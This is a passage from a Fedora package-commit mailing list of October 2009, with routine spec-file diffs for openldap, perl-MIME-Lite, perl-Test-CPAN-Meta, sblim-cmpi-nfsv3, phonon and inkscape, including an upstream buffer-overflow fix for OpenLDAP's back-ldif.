+--- openldap-2.4.18/servers/slapd/back-ldif/ldif.c.orig	2009-08-18 23:58:27
++++ openldap-2.4.18/servers/slapd/back-ldif/ldif.c	2009-09-24 16:08:14
+@@ -593,9 +593,9 @@ typedef struct bvlist {
  	char *trunc;	/* filename was truncated here */
  	int  inum;		/* num from "attr={num}" in filename, or INT_MIN */
  	char savech;	/* original char at *trunc */
 -	char fname;		/* variable length array BVL_NAME(bvl) = &fname */
 -#	define BVL_NAME(bvl) ((char *) (bvl) + offsetof(bvlist, fname))
 -#	define BVL_SIZE(namelen) (sizeof(bvlist) + (namelen))
-+	char *fname;		/* variable length array */
++	/* BVL_NAME(&bvlist) is the filename, allocated after the struct: */
++#	define BVL_NAME(bvl)     ((char *) ((bvl) + 1))
++#	define BVL_SIZE(namelen) (sizeof(bvlist) + (namelen) + 1)
  } bvlist;
  
  static int
-@@ -709,17 +707,18 @@ ldif_readdir(
- 			if ( *fname_maxlenp < fname_len )
- 				*fname_maxlenp = fname_len;
- 
--			bvl = SLAP_MALLOC( BVL_SIZE( fname_len ) );
-+			bvl = SLAP_MALLOC( sizeof( bvlist ) );
-+			bvl->fname = SLAP_MALLOC( fname_len+1 );
- 			if ( bvl == NULL ) {
- 				rc = LDAP_OTHER;
- 				save_errno = errno;
- 				break;
- 			}
--			strcpy( BVL_NAME( bvl ), dir->d_name );
-+			strcpy( bvl->fname, dir->d_name );
- 
- 			/* Make it sortable by ("attr=val" or <preceding {num}, num>) */
--			trunc = BVL_NAME( bvl ) + fname_len - STRLENOF( LDIF );
--			if ( (idxp = strchr( BVL_NAME( bvl ) + 2, IX_FSL )) != NULL &&
-+			trunc = bvl->fname + fname_len - STRLENOF( LDIF );
-+			if ( (idxp = strchr( bvl->fname + 2, IX_FSL )) != NULL &&
- 				 (endp = strchr( ++idxp, IX_FSR )) != NULL && endp > idxp &&
- 				 (eq_unsafe || idxp[-2] == '=' || endp + 1 == trunc) )
- 			{
-@@ -737,7 +736,7 @@ ldif_readdir(
- 			*trunc = '\0';
- 
- 			for ( prev = listp; (ptr = *prev) != NULL; prev = &ptr->next ) {
--				int cmp = strcmp( BVL_NAME( bvl ), BVL_NAME( ptr ));
-+				int cmp = strcmp( bvl->fname, ptr->fname );
- 				if ( cmp < 0 || (cmp == 0 && bvl->inum < ptr->inum) )
- 					break;
- 			}
-@@ -826,7 +825,7 @@ ldif_search_entry(
- 
- 				if ( rc == LDAP_SUCCESS ) {
- 					*ptr->trunc = ptr->savech;
--					FILL_PATH( &fpath, dir_end, BVL_NAME( ptr ));
-+					FILL_PATH( &fpath, dir_end, ptr->fname );
- 
- 					rc = ldif_read_entry( op, fpath.bv_val, &dn, &ndn,
- 						&e, text );


Index: openldap.spec
===================================================================
RCS file: /cvs/extras/rpms/openldap/devel/openldap.spec,v
retrieving revision 1.151
retrieving revision 1.152
diff -u -p -r1.151 -r1.152
--- openldap.spec	24 Sep 2009 13:23:53 -0000	1.151
+++ openldap.spec	7 Oct 2009 13:43:58 -0000	1.152
@@ -11,7 +11,7 @@
 Summary: LDAP support libraries
 Name: openldap
 Version: %{version}
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: OpenLDAP
 Group: System Environment/Daemons
 Source0: ftp://ftp.OpenLDAP.org/pub/OpenLDAP/openldap-release/openldap-%{version}.tgz
@@ -388,6 +388,10 @@ for X in acl add auth cat dn index passw
 chmod 755 $RPM_BUILD_ROOT/%{_libdir}/lib*.so*
 chmod 644 $RPM_BUILD_ROOT/%{_libdir}/lib*.*a
 
+# Add files and dirs which would be created by %post scriptlet
+touch $RPM_BUILD_ROOT/%{_sysconfdir}/openldap/slapd.conf.bak
+mkdir $RPM_BUILD_ROOT/%{_sysconfdir}/openldap/slapd.d
+
 # Remove files which we don't want packaged.
 rm -f $RPM_BUILD_ROOT/%{_libdir}/*.la
 rm -f $RPM_BUILD_ROOT/%{evolution_connector_libdir}/*.la
@@ -596,7 +600,9 @@ fi
 %ghost %config(noreplace) %{_sysconfdir}/pki/tls/certs/slapd.pem
 %attr(0755,root,root) %{_sysconfdir}/rc.d/init.d/slapd
 %attr(0644,root,root) %config(noreplace) %{_sysconfdir}/openldap/ldap*.conf
-%attr(0640,root,ldap) %config(noreplace) %{_sysconfdir}/openldap/slapd.conf
+%attr(0640,root,ldap) %config(noreplace,missingok) %{_sysconfdir}/openldap/slapd.conf
+%attr(0640,root,ldap) %ghost %{_sysconfdir}/openldap/slapd.conf.bak
+%attr(0640,ldap,ldap) %ghost %{_sysconfdir}/openldap/slapd.d
 %attr(0644,root,root) %config(noreplace) %{_sysconfdir}/sysconfig/ldap
 %attr(0644,root,root) %config(noreplace) %{_sysconfdir}/openldap/schema/*.schema*
 %attr(0644,root,root) %config(noreplace) %{_sysconfdir}/openldap/schema/*.ldif
@@ -639,6 +645,12 @@ fi
 %attr(0644,root,root)      %{evolution_connector_libdir}/*.a
 
 %changelog
+* Wed Oct 07 2009 Jan Zeleny <jzeleny at redhat.com> 2.4.18-4
+- updated smbk5pwd patch to be linked with libldap (#526500)
+- the last buffer overflow patch replaced with the one from upstream
+- added /etc/openldap/slapd.d and /etc/openldap/slapd.conf.bak
+  to files owned by openldap-servers
+
 * Thu Sep 24 2009 Jan Zeleny <jzeleny at redhat.com> 2.4.18-3
 - cleanup of previous patch fixing buffer overflow
 



From kasal at fedoraproject.org  Wed Oct  7 13:52:33 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed,  7 Oct 2009 13:52:33 +0000 (UTC)
Subject: rpms/perl-MIME-Lite/devel .cvsignore, 1.2, 1.3 perl-MIME-Lite.spec, 
	1.10, 1.11 sources, 1.2, 1.3
Message-ID: <20091007135233.5FCAD11C00E6@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-MIME-Lite/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26679

Modified Files:
	.cvsignore perl-MIME-Lite.spec sources 
Log Message:
- new upstream version
- fix buildrequires
- add requires not detected automatically


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-MIME-Lite/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	11 Apr 2005 22:41:12 -0000	1.2
+++ .cvsignore	7 Oct 2009 13:52:33 -0000	1.3
@@ -1 +1 @@
-MIME-Lite-3.01.tar.gz
+MIME-Lite-3.026.tar.gz


Index: perl-MIME-Lite.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-MIME-Lite/devel/perl-MIME-Lite.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- perl-MIME-Lite.spec	26 Jul 2009 09:04:32 -0000	1.10
+++ perl-MIME-Lite.spec	7 Oct 2009 13:52:33 -0000	1.11
@@ -1,17 +1,22 @@
 Name:           perl-MIME-Lite
-Version:        3.01
-Release:        10%{?dist}
+Version:        3.026
+Release:        1%{?dist}
 Summary:        MIME::Lite - low-calorie MIME generator
 
 Group:          Development/Libraries
 License:        GPL+ or Artistic
 URL:            http://search.cpan.org/dist/MIME-Lite/
-Source0:        http://www.cpan.org/authors/id/Y/YV/YVES/MIME-Lite-3.01.tar.gz
+Source0:        http://www.cpan.org/authors/id/R/RJ/RJBS/MIME-Lite-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
-BuildRequires:  perl(ExtUtils::MakeMaker)
+BuildRequires:  perl(ExtUtils::MakeMaker) perl(Test::More)
+BuildRequires:	perl(Email::Date::Format) perl(Mail::Address)
+BuildRequires:	perl(MIME::Types) >= 1.28
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
+# not detected by automated find-requires:
+Requires:	perl(Email::Date::Format)
+Requires:	perl(MIME::Types) >= 1.28
 
 %description
 MIME::Lite is intended as a simple, standalone module for generating (not 
@@ -33,7 +38,7 @@ rm -rf $RPM_BUILD_ROOT
 make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
 find $RPM_BUILD_ROOT -type f -a \( -name .packlist \
   -o \( -name '*.bs' -a -empty \) \) -exec rm -f {} ';'
-find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null ';'
+find $RPM_BUILD_ROOT -depth -type d -empty -exec rmdir ';'
 
 
 %check
@@ -52,6 +57,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 3.26-1
+- new upstream version
+- fix buildrequires
+- add requires not detected automatically
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.01-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-MIME-Lite/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	11 Apr 2005 22:41:12 -0000	1.2
+++ sources	7 Oct 2009 13:52:33 -0000	1.3
@@ -1 +1 @@
-b41eb689819775fd8df360458fc2d507  MIME-Lite-3.01.tar.gz
+9917ed1d8bf9d9e9e65ddd89c55489a7  MIME-Lite-3.026.tar.gz



From mmaslano at fedoraproject.org  Wed Oct  7 13:57:45 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Wed,  7 Oct 2009 13:57:45 +0000 (UTC)
Subject: rpms/perl-Test-CPAN-Meta/devel .cvsignore, 1.4,
	1.5 perl-Test-CPAN-Meta.spec, 1.5, 1.6 sources, 1.4, 1.5
Message-ID: <20091007135745.CCAC011C00E6@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-Test-CPAN-Meta/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27734

Modified Files:
	.cvsignore perl-Test-CPAN-Meta.spec sources 
Log Message:
* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.13-1
- update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Test-CPAN-Meta/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	1 Jul 2008 22:38:29 -0000	1.4
+++ .cvsignore	7 Oct 2009 13:57:45 -0000	1.5
@@ -1 +1 @@
-Test-CPAN-Meta-0.12.tar.gz
+Test-CPAN-Meta-0.13.tar.gz


Index: perl-Test-CPAN-Meta.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Test-CPAN-Meta/devel/perl-Test-CPAN-Meta.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- perl-Test-CPAN-Meta.spec	26 Jul 2009 16:46:39 -0000	1.5
+++ perl-Test-CPAN-Meta.spec	7 Oct 2009 13:57:45 -0000	1.6
@@ -1,6 +1,6 @@
 Name:           perl-Test-CPAN-Meta
-Version:        0.12
-Release:        3%{?dist}
+Version:        0.13
+Release:        1%{?dist}
 Summary:        Validation of the META.yml file in a CPAN distribution
 License:        GPL+ or Artistic
 Group:          Development/Libraries
@@ -57,6 +57,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*
 
 %changelog
+* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 0.13-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.12-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Test-CPAN-Meta/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	1 Jul 2008 22:38:29 -0000	1.4
+++ sources	7 Oct 2009 13:57:45 -0000	1.5
@@ -1 +1 @@
-f734933622757cf00361e08189a1e7ce  Test-CPAN-Meta-0.12.tar.gz
+af486e1d6d27c7b56d3c007911626738  Test-CPAN-Meta-0.13.tar.gz



From vcrhonek at fedoraproject.org  Wed Oct  7 14:01:45 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed,  7 Oct 2009 14:01:45 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv3/devel import.log, NONE,
	1.1 sblim-cmpi-nfsv3.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091007140145.1FDD611C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-nfsv3/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28530/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sblim-cmpi-nfsv3.spec 
Log Message:
Initial import (#502854)


--- NEW FILE import.log ---
sblim-cmpi-nfsv3-1_0_14-1_fc10:HEAD:sblim-cmpi-nfsv3-1.0.14-1.fc10.src.rpm:1254924087


--- NEW FILE sblim-cmpi-nfsv3.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Summary:        SBLIM nfsv3 instrumentation
Name:           sblim-cmpi-nfsv3
Version:        1.0.14
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Nfsv3 Providers

%package devel
Summary:        SBLIM Nfsv3 Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description devel
SBLIM Base Nfsv3 Development Package

%package test
Summary:        SBLIM Nfsv3 Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description test
SBLIM Base Fsvol Testcase Files for SBLIM Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
mv $RPM_BUILD_ROOT/%{_libdir}/libLinux_NFSv3SystemConfigurationUtil.so $RPM_BUILD_ROOT/%{_libdir}/cmpi/
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files
%defattr(-,root,root,-)
%docdir %{_datadir}/doc/%{name}-%{version}
#%{_libdir}/*.so
%{provider_dir}/*.so
%{_datadir}/%{name}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files test
%defattr(-,root,root,-)
%{_datadir}/sblim-testsuite

%define NFSV3_SCHEMA %{_datadir}/%{name}/Linux_NFSv3SystemSetting.mof %{_datadir}/%{name}/Linux_NFSv3SystemConfiguration.mof
%define NFSV3_REGISTRATION %{_datadir}/%{name}/Linux_NFSv3SystemConfiguration.registration %{_datadir}/%{name}/Linux_NFSv3SystemSetting.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Tue Sep 29 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.0.14-1
- Initial support


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-nfsv3/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:29:27 -0000	1.1
+++ .cvsignore	7 Oct 2009 14:01:44 -0000	1.2
@@ -0,0 +1 @@
+sblim-cmpi-nfsv3-1.0.14.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-nfsv3/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:29:28 -0000	1.1
+++ sources	7 Oct 2009 14:01:44 -0000	1.2
@@ -0,0 +1 @@
+9979ff8134f48aff6553ed4975f388eb  sblim-cmpi-nfsv3-1.0.14.tar.bz2



From rdieter at fedoraproject.org  Wed Oct  7 14:05:18 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed,  7 Oct 2009 14:05:18 +0000 (UTC)
Subject: rpms/phonon/devel phonon.spec,1.45,1.46
Message-ID: <20091007140518.4446611C00E6@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/phonon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30239

Modified Files:
	phonon.spec 
Log Message:
* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-102
- Requires: qt4 >= 4.5.2-21 (f12+)



Index: phonon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/devel/phonon.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- phonon.spec	30 Sep 2009 15:19:55 -0000	1.45
+++ phonon.spec	7 Oct 2009 14:05:17 -0000	1.46
@@ -2,7 +2,7 @@
 Summary: Multimedia framework api
 Name:    phonon
 Version: 4.3.1
-Release: 101%{?dist}
+Release: 102%{?dist}
 Group:   System Environment/Libraries
 License: LGPLv2+
 URL:     http://phonon.kde.org/
@@ -48,14 +48,16 @@ BuildRequires: kde-filesystem
 BuildRequires: libxcb-devel
 BuildRequires: libxml2-devel
 BuildRequires: pkgconfig
-BuildRequires: qt4-devel >= 4.4.0
+BuildRequires: qt4-devel
 BuildRequires: xine-lib-devel
 
 Requires: phonon-backend%{?_isa} >= %{version}
 
-## can switch to Requires instead of Conflicts once bootstrapping is done
-#Requires: qt4%{?_isa} >= %{_qt4_version}
-Conflicts: qt4 < 4.5.2-21
+%if 0%{?fedora} > 11
+Requires: qt4%{?_isa} >= 4.5.2-21 
+%else
+Requires: qt4%{?_isa} >= %{_qt4_version}
+%endif
 
 %description
 %{summary}.
@@ -101,7 +103,7 @@ Provides:  %{name}-backend-gst = %{versi
 
 # not working?  use -C .../xine hack below instead for now  -- Rex
 %if 0%{?xine_only}
-%patch10 -p1 -b .xineonly
+#patch10 -p1 -b .xineonly
 %endif
 
 
@@ -202,6 +204,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-102
+- Requires: qt4 >= 4.5.2-21 (f12+)
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-101
 - revert to kde/phonon
 - inflate to Release: 101



From lkundrak at fedoraproject.org  Wed Oct  7 14:06:32 2009
From: lkundrak at fedoraproject.org (Lubomir Rintel)
Date: Wed,  7 Oct 2009 14:06:32 +0000 (UTC)
Subject: rpms/inkscape/F-12 import.log, 1.1, 1.2 inkscape.spec, 1.85,
	1.86 sources, 1.26, 1.27
Message-ID: <20091007140632.941A711C00E6@cvs1.fedora.phx.redhat.com>

Author: lkundrak

Update of /cvs/pkgs/rpms/inkscape/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30440/F-12

Modified Files:
	import.log inkscape.spec sources 
Log Message:
Merge from devel



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/inkscape/F-12/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	25 Sep 2009 17:08:18 -0000	1.1
+++ import.log	7 Oct 2009 14:06:32 -0000	1.2
@@ -1 +1,2 @@
 inkscape-0_47-0_16_pre3_20090925svn_fc12:HEAD:inkscape-0.47-0.16.pre3.20090925svn.fc12.src.rpm:1253898265
+inkscape-0_47-0_16_pre3_20091017svn_fc13:F-12:inkscape-0.47-0.16.pre3.20091017svn.fc13.src.rpm:1254924277


Index: inkscape.spec
===================================================================
RCS file: /cvs/pkgs/rpms/inkscape/F-12/inkscape.spec,v
retrieving revision 1.85
retrieving revision 1.86
diff -u -p -r1.85 -r1.86
--- inkscape.spec	25 Sep 2009 17:08:18 -0000	1.85
+++ inkscape.spec	7 Oct 2009 14:06:32 -0000	1.86
@@ -1,14 +1,14 @@
 Name:           inkscape
 Version:        0.47
-Release:        0.16.pre3.20090925svn%{?dist}
+Release:        0.16.pre3.20091017svn%{?dist}
 Summary:        Vector-based drawing program using SVG
 
 Group:          Applications/Productivity
 License:        GPLv2+
 URL:            http://inkscape.sourceforge.net/
 #Source0:        http://download.sourceforge.net/inkscape/%{name}-%{version}.tar.bz2
-# svn export -r22293 https://inkscape.svn.sourceforge.net/svnroot/inkscape/inkscape/trunk at 22293 inkscape
-# tar cf - inkscape |xz -9 -c >inkscape.tar.xz
+# svn export -r22413 https://inkscape.svn.sourceforge.net/svnroot/inkscape/inkscape/trunk at 22413 inkscape
+# tar czf inkscape.tar.gz inkscape
 Source0:        %{name}.tar.gz
 
 Patch0:         inkscape-20090410svn-uniconv.patch
@@ -218,6 +218,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Sep 07 2009 Lubomir Rintel <lkundrak at v3.sk> - 0.47-0.16.pre3.20091017svn
+- Move to a later snapshot
+
 * Mon Sep 07 2009 Lubomir Rintel <lkundrak at v3.sk> - 0.47-0.16.pre3.20090925svn
 - Move to a later snapshot
 - Drop debugging compiler flags, enable optimizations again


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/inkscape/F-12/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	25 Sep 2009 17:08:18 -0000	1.26
+++ sources	7 Oct 2009 14:06:32 -0000	1.27
@@ -1 +1 @@
-acc22f1af9defbbb7f6759e6810b966a  inkscape.tar.gz
+b6737491add9549d5da3c1e9e9d4db1c  inkscape.tar.gz



From rdieter at fedoraproject.org  Wed Oct  7 14:08:29 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed,  7 Oct 2009 14:08:29 +0000 (UTC)
Subject: rpms/phonon/F-12 phonon.spec,1.47,1.48
Message-ID: <20091007140829.13CCD11C00E6@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/phonon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30874

Modified Files:
	phonon.spec 
Log Message:
restore -102



Index: phonon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/phonon/F-12/phonon.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- phonon.spec	7 Oct 2009 13:11:53 -0000	1.47
+++ phonon.spec	7 Oct 2009 14:08:28 -0000	1.48
@@ -2,7 +2,7 @@
 Summary: Multimedia framework api
 Name:    phonon
 Version: 4.3.1
-Release: 101%{?dist}
+Release: 102%{?dist}
 Group:   System Environment/Libraries
 License: LGPLv2+
 URL:     http://phonon.kde.org/
@@ -29,7 +29,7 @@ Patch2:  qt-x11-opensource-src-4.5.2-gst
 
 ## define to build phonon-backend-xine only
 #define xine_only 1
-#Patch10: phonon-4.3.1-xineonly.patch
+Patch10: phonon-4.3.1-xineonly.patch
 
 ## Upstream patches
 Patch100: phonon-4.3.2-gstreamer-utf8-url.patch
@@ -48,14 +48,16 @@ BuildRequires: kde-filesystem
 BuildRequires: libxcb-devel
 BuildRequires: libxml2-devel
 BuildRequires: pkgconfig
-BuildRequires: qt4-devel >= 4.4.0
+BuildRequires: qt4-devel
 BuildRequires: xine-lib-devel
 
 Requires: phonon-backend%{?_isa} >= %{version}
 
-## can switch to Requires instead of Conflicts once bootstrapping is done
-#Requires: qt4%{?_isa} >= %{_qt4_version}
-Conflicts: qt4 < 4.5.2-21
+%if 0%{?fedora} > 11
+Requires: qt4%{?_isa} >= 4.5.2-21 
+%else
+Requires: qt4%{?_isa} >= %{_qt4_version}
+%endif
 
 %description
 %{summary}.
@@ -101,7 +103,7 @@ Provides:  %{name}-backend-gst = %{versi
 
 # not working?  use -C .../xine hack below instead for now  -- Rex
 %if 0%{?xine_only}
-#%patch10 -p1 -b .xineonly
+#patch10 -p1 -b .xineonly
 %endif
 
 
@@ -202,6 +204,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-102
+- Requires: qt4 >= 4.5.2-21 (f12+)
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-101
 - revert to kde/phonon
 - inflate to Release: 101



From vcrhonek at fedoraproject.org  Wed Oct  7 14:13:09 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed,  7 Oct 2009 14:13:09 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv3/F-12 sblim-cmpi-nfsv3.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091007141309.E01CC11C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-nfsv3/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31911

Modified Files:
	sources 
Added Files:
	sblim-cmpi-nfsv3.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cmpi-nfsv3.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Summary:        SBLIM nfsv3 instrumentation
Name:           sblim-cmpi-nfsv3
Version:        1.0.14
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Nfsv3 Providers

%package devel
Summary:        SBLIM Nfsv3 Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description devel
SBLIM Base Nfsv3 Development Package

%package test
Summary:        SBLIM Nfsv3 Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description test
SBLIM Base Fsvol Testcase Files for SBLIM Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
mv $RPM_BUILD_ROOT/%{_libdir}/libLinux_NFSv3SystemConfigurationUtil.so $RPM_BUILD_ROOT/%{_libdir}/cmpi/
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files
%defattr(-,root,root,-)
